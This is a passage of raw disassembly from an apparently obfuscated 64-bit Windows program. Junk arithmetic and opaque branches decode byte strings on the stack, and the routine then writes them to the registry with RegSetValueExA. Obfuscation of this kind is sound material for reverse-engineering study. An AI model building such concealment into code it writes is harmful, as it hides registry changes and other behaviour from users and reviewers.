lea r11d, [rbx + rcx]
sub r11b, 0x12
jmp 0x140103eed
lea edx, [rdi - 0x36]
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140103eaf
lea edx, [rdi - 0x4a]
mov ecx, 3
jmp 0x140103e7e
movzx r10d, dil
lea edx, [r10 + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
jmp 0x140103dff
movzx r10d, dil
lea edx, [r10 + 0x3e]
mov ecx, Ordinal_41
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
sub r10b, 0x7a
movzx eax, r10b
and al, bl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
mov byte [rbp + rdi], cl
inc r9
dec rdi
inc rdi
jmp 0x1401034a2
movzx r10d, dil
lea ecx, [r10 + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
sub r10b, 0x66
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x36
add r10b, r11b
add r10b, bl
mov byte [rbp + rdi], r10b
add r8, r9
jmp 0x140103eaf
lea edx, [rdi - 0x12]
mov ecx, 0x3f
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
jmp 0x140103eaf
lea rdx, [rdi + r12]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1401034a2
movabs rcx, 0x2ec45fefc6addfc6
add rcx, rdi
movzx ebx, r10b
and r10b, cl
add r10b, r10b
movzx r11d, bl
sub r11b, r10b
sub r11b, 0x6a
add r11b, cl
lea edx, [rdi - 0x52]
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140103f3a
movabs rcx, 0x8f1e8dab44c556b2
add rcx, rdi
movzx ebx, r10b
and r10b, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, r10b
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
lea edx, [rdi + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401034a2
lea rcx, [rdi + r13]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x52
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401034a2
sub dil, 0x4e
movzx eax, dil
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, bl
jmp 0x1401034a0
sub dil, 0x62
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
sub r11b, 0x52
jmp 0x140103490
lea rdx, [rbp + 0x15e0cb8]
jmp 0x140103ff2
lea rdx, [rbp + 0x1125142]
jmp 0x140103ff2
lea rdx, [rbp]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140104b92
mov r14, qword [r15 + 0x10]
cmp qword [r15 + 0x18], 0xf
jbe 0x14010402c
mov r15, qword [r15]
mov dword [rbp - 0x50], 0x4030c29
mov dword [rbp - 0x4c], 0xf3071501
mov word [rbp - 0x48], 0x6900
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x46], xmm0
mov qword [rbp - 0x36], rax
mov byte [rbp - 0x2e], al
movabs r12, 0xfb59dfa0085cacf0
movabs r13, 0xf20d9ee0191606d0
movzx ebx, byte [rbp + 0x30]
nop dword [rax + rax]
mov r9, qword [0x14023d108]
mov rax, qword [0x14023d100]
nop
xor r11d, r11d
cmp r11, 0x23
jae 0x140104b5c
movzx r10d, byte [rbp + r11 - 0x50]
mov rdi, r10
cmp r9, r11
ja 0x140104b53
lea rcx, [rax + 1]
cmp r9, rcx
jae 0x1401040c1
lea rdx, [r11 + r12]
mov rcx, r10
and rcx, rdx
imul rbx, rcx, 0xfffffffffffffffe
add rbx, r10
add rbx, rdx
add bl, 0x70
jmp 0x140104100
je 0x140104ada
lea rcx, [rax + 3]
cmp r9, rcx
je 0x140104a45
lea rcx, [rax + 4]
cmp r9, rcx
je 0x140104a14
lea rcx, [rax + 6]
cmp r9, rcx
je 0x1401049d5
lea rcx, [rax + 2]
cmp r9, rcx
je 0x1401049ac
nop dword [rax + rax]
cmp rax, r11
ja 0x140104b4a
lea rcx, [rax + 0x7a]
cmp r9, rcx
jae 0x14010412f
lea r8d, [r11 - 0x50]
movzx ecx, r8b
and cl, r10b
mov edx, Ordinal_26
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r10b
jmp 0x140104163
lea rcx, [rax + 1]
cmp r9, rcx
je 0x140104960
lea rcx, [rax + 3]
cmp r9, rcx
je 0x14010493f
lea rcx, [rax + 5]
cmp r9, rcx
je 0x14010491f
lea rcx, [rax + 7]
cmp r9, rcx
je 0x1401048ff
lea rcx, [rax + r9]
cmp rcx, r11
jbe 0x140104643
lea rcx, [rax + 0x5a]
cmp r9, rcx
je 0x140104631
lea rcx, [rax + 0x40]
cmp r9, rcx
je 0x140104613
lea rcx, [rax + 0x20]
cmp r9, rcx
je 0x1401045f2
lea rcx, [rax + 0xa]
cmp r9, rcx
je 0x1401045d3
lea rcx, [rax + 8]
cmp r9, rcx
je 0x1401045b8
lea rcx, [rax + 5]
cmp r9, rcx
je 0x14010459a
lea rcx, [rax + 3]
cmp r9, rcx
je 0x14010457d
lea rcx, [rax + 1]
cmp r9, rcx
je 0x14010455d
lea rcx, [rax + 0x7a]
cmp r9, rcx
je 0x140104170
lea r9, [rax + 0x61]
lea rax, [r9 + 0x1000]
lea rcx, [rax + 0x400]
cmp r9, rcx
jb 0x140104b2a
lea rcx, [rax + 0x200]
cmp r9, rcx
jb 0x140104b0a
lea rcx, [rax + 0x64]
cmp r9, rcx
jb 0x140104335
lea rcx, [rax + 0x40]
cmp r9, rcx
jb 0x140104317
lea rcx, [rax + 0x20]
cmp r9, rcx
jb 0x1401042f9
lea rcx, [rax + 0xa]
cmp r9, rcx
jb 0x140104511
lea rcx, [rax + 8]
cmp r9, rcx
jb 0x1401044c9
lea rcx, [rax + 5]
cmp r9, rcx
jb 0x140104482
lea rcx, [rax + 3]
cmp r9, rcx
jb 0x14010445a
lea rcx, [rax + 1]
cmp r9, rcx
jb 0x140104170
lea r9, [rax + 0x2a]
lea rax, [r9 + 0x5a]
lea rcx, [rax + 0x41]
cmp r9, rcx
ja 0x14010442d
lea rcx, [rax + 0x61]
cmp r9, rcx
ja 0x14010440d
lea rcx, [rax + 0x400]
cmp r9, rcx
ja 0x1401043f0
lea rcx, [rax + 0x200]
cmp r9, rcx
ja 0x1401043d0
lea rcx, [rax + 0x64]
cmp r9, rcx
ja 0x1401043b9
lea rcx, [rax + 0x40]
cmp r9, rcx
ja 0x14010439a
lea rcx, [rax + 0x20]
cmp r9, rcx
ja 0x140104379
lea rcx, [rax + 0xa]
cmp r9, rcx
ja 0x140104355
lea r9, [rax + 0x1000]
lea rax, [r9 + 0x400]
jmp 0x140104170
lea r8d, [r11 + 0x50]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x30
add bl, r8b
jmp 0x140104163
lea r8d, [r11 + 0x70]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x10
add bl, r8b
jmp 0x140104100
lea r8d, [r11 - 0x70]
movzx ecx, r10b
and cl, r8b
mov edx, 8
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x140104093
lea edx, [r11 - 0x60]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x60
inc rax
dec r11
inc r11
jmp 0x140104083
lea edx, [r11 - 0x40]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x40
dec r11
inc r11
jmp 0x140104083
lea r8d, [r11 - 0x20]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x20
movzx edi, r11b
jmp 0x1401049ef
movzx edx, r11b
and dl, r10b
add dl, dl
movzx ebx, r11b
sub bl, dl
add bl, r10b
jmp 0x140104a2a
lea r8d, [r11 + 0x20]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x140104a2d
lea r8d, [r11 + 0x40]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
jmp 0x140104a6a
lea r8d, [r11 + 0x60]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x140104a97
lea edx, [r11 + 0x80]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
add bl, 0x80
movzx ecx, byte [rbp + r11 - 0x50]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140104083
lea r8d, [r11 - 0x30]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
mov byte [rbp + r11 - 0x50], bl
inc r11
jmp 0x140104083
lea r8d, [r11 - 0x10]
movzx ecx, r10b
and cl, r8b
mov edx, gethostname
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
cmp rax, 8
jb 0x140104475
movzx edi, r11b
lea r8d, [rdi - 0x60]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
add dl, dl
add dl, r10b
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14010497f
lea r8d, [r11 + 0x10]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x70
add bl, r8b
cmp r9, 3
jae 0x1401048be
lea rdx, [rax + 2]
cmp r9, rdx
jbe 0x1401047eb
lea r8d, [r11 - 0x20]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x20
jmp 0x14010449a
lea r8d, [r11 + 0x30]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x50
add bl, r8b
lea rcx, [rax + r9]
cmp rcx, 0x5a
je 0x1401048e5
lea rcx, [rax + 0x41]
cmp r9, rcx
jbe 0x140104710
lea r8d, [r11 + 0x30]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x50
jmp 0x1401044df
lea r8d, [r11 + 0x40]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x140104a97
lea r8d, [r11 + 0x60]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
jmp 0x140104a6a
lea edx, [r11 + 0x80]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
add bl, 0x80
jmp 0x140104a2d
lea edx, [r11 - 0x60]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x60
jmp 0x140104a2a
movzx edi, r11b
lea r8d, [rdi - 0x40]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x40
jmp 0x1401049ef
lea edx, [r11 - 0x20]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x20
dec r11
inc r11
jmp 0x140104083
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
inc rax
dec r11
inc r11
jmp 0x140104083
lea r8d, [r11 + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx edi, r11b
jmp 0x14010496d
lea rcx, [rax + 2]
cmp r9, rcx
jae 0x140104669
lea r8d, [r11 - 0x10]
movzx ecx, r10b
and cl, r8b
mov edx, gethostname
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
jmp 0x140104527
lea rcx, [rax + 1]
cmp r9, rcx
jne 0x1401046a1
lea r8d, [r11 + 0x60]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
movzx ecx, byte [rbp + r11 - 0x50]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140104083
lea rcx, [rax + 3]
cmp r9, rcx
jne 0x1401046c7
lea r8d, [r11 + 0x20]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
jmp 0x140104a6a
lea rcx, [rax + 4]
cmp r9, rcx
jne 0x1401046f1
lea edx, [r11 - 0x60]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x60
dec r11
inc r11
jmp 0x140104083
lea rcx, [rax + 2]
cmp r9, rcx
jne 0x14010452a
movzx edi, r11b
lea r8d, [rdi + 0x60]
mov edx, Ordinal_50
jmp 0x14010496d
lea rcx, [rax + 1]
cmp r9, rcx
jne 0x140104738
movzx edi, r11b
lea r8d, [rdi + 0x10]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x70
jmp 0x14010497c
lea rcx, [rax + 3]
cmp r9, rcx
jne 0x140104767
lea r8d, [r11 - 0x30]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
dec r11
inc r11
jmp 0x140104083
lea rcx, [rax + 5]
cmp r9, rcx
jne 0x140104790
lea r8d, [r11 - 0x70]
movzx ecx, r10b
and cl, r8b
mov edx, 8
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x140104a2a
lea rcx, [rax + 4]
cmp r9, rcx
jne 0x1401047b4
lea r8d, [r11 + 0x50]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x30
jmp 0x140104a6a
lea rcx, [rax + 6]
cmp r9, rcx
jne 0x1401044e2
lea edx, [r11 + 0x10]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x70
movzx ecx, byte [rbp + r11 - 0x50]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140104083
lea rcx, [rax + 1]
cmp r9, rcx
jne 0x14010481e
lea edx, [r11 - 0x40]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x40
movzx ecx, byte [rbp + r11 - 0x50]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140104083
inc rcx
cmp r9, rcx
jne 0x140104844
lea r8d, [r11 - 0x60]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x60
add bl, r8b
jmp 0x140104a97
cmp r9, rdx
jne 0x140104867
lea r8d, [r11 + 0x80]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
add bl, 0x80
jmp 0x140104a6a
lea rcx, [rax + 3]
cmp r9, rcx
jne 0x140104890
lea r8d, [r11 + 0x40]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x140104a2a
lea rcx, [rax + 5]
cmp r9, rcx
jne 0x14010449d
movzx edi, r11b
lea r8d, [rdi + 0x20]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
jmp 0x1401049ef
movzx edi, r11b
lea r8d, [rdi + 0x80]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, byte [rbp + r11 - 0x50]
sub bl, cl
add bl, 0x80
add bl, r10b
jmp 0x1401049ef
lea r8d, [r11 + 0x60]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
jmp 0x140104a6a
lea r8d, [r11 - 0x50]
movzx ecx, r8b
and cl, r10b
mov edx, Ordinal_26
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r10b
jmp 0x140104a97
lea r8d, [r11 - 0x10]
movzx ecx, r10b
and cl, r8b
mov edx, gethostname
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x140104a2d
lea edx, [r11 + 0x50]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x30
dec r11
inc r11
jmp 0x140104083
movzx edi, r11b
lea r8d, [rdi - 0x70]
mov edx, 8
movzx ecx, r10b
and cl, r8b
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
sub dil, 0x70
movzx ecx, r10b
and cl, dil
mov edx, 8
sub dl, cl
add dl, dl
add dl, r10b
add dl, dil
mov byte [rbp + r11 - 0x50], dl
inc rax
dec r11
inc r11
jmp 0x140104083
lea r8d, [r11 - 0x10]
movzx ecx, r10b
and cl, r8b
mov edx, gethostname
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
inc rax
dec r11
inc r11
jmp 0x140104083
movzx edi, r11b
lea r8d, [rdi + 0x30]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x50
add bl, r8b
add dil, 0x70
movzx ecx, r10b
and cl, dil
add cl, cl
movzx edx, bl
sub dl, cl
sub dl, 0x10
add dl, r10b
add dl, dil
mov byte [rbp + r11 - 0x50], dl
jmp 0x140104a2a
lea edx, [r11 + 0x50]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x30
add r9, rax
movzx ecx, bl
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r11, rdx
inc r11
jmp 0x140104083
movabs r8, 0xdf751d603a88ba90
add r8, r11
movzx r10d, dil
movzx ecx, r8b
and cl, dil
mov edx, 8
sub dl, cl
lea ebx, [rdx + rdx]
add bl, dil
add bl, r8b
lea r8d, [r11 + 0x50]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
sub dl, 0x30
add dl, r8b
movzx ecx, dl
mov byte [rbp + r11 - 0x50], cl
inc rax
add rcx, rax
sub r11, rcx
lea r8d, [r11 + 0x40]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
add dl, dl
add dl, r10b
add dl, r8b
mov byte [rbp + r11 - 0x50], dl
inc r9
mov rcx, 0xffffffffffffffff
sub rcx, r9
add r11, rcx
movzx ecx, byte [rbp + r11 - 0x50]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140104083
lea rdx, [r11 + r13]
movzx ecx, dl
and cl, dil
mov r8d, Ordinal_45
sub r8b, cl
lea ebx, [r8 + r8]
add bl, dl
add bl, dil
movzx ecx, byte [rbp + r11 - 0x50]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140104083
sub r11b, 0x50
movzx ecx, r11b
and cl, r10b
mov edx, Ordinal_26
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
jmp 0x140104080
sub r11b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140104070
lea rdx, [rbp + 0x14430f0]
jmp 0x140104b60
lea rdx, [rbp + 0xa0dde0]
jmp 0x140104b60
lea rdx, [rbp - 0x50]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r15
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140104b92
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
jmp 0x140104b94
xor bl, bl
lea rcx, [rbp + 0x38]
call fcn.140002800
movzx eax, bl
mov rcx, qword [rbp + 0x58]
xor rcx, rsp
call fcn.140198db0
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x160
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret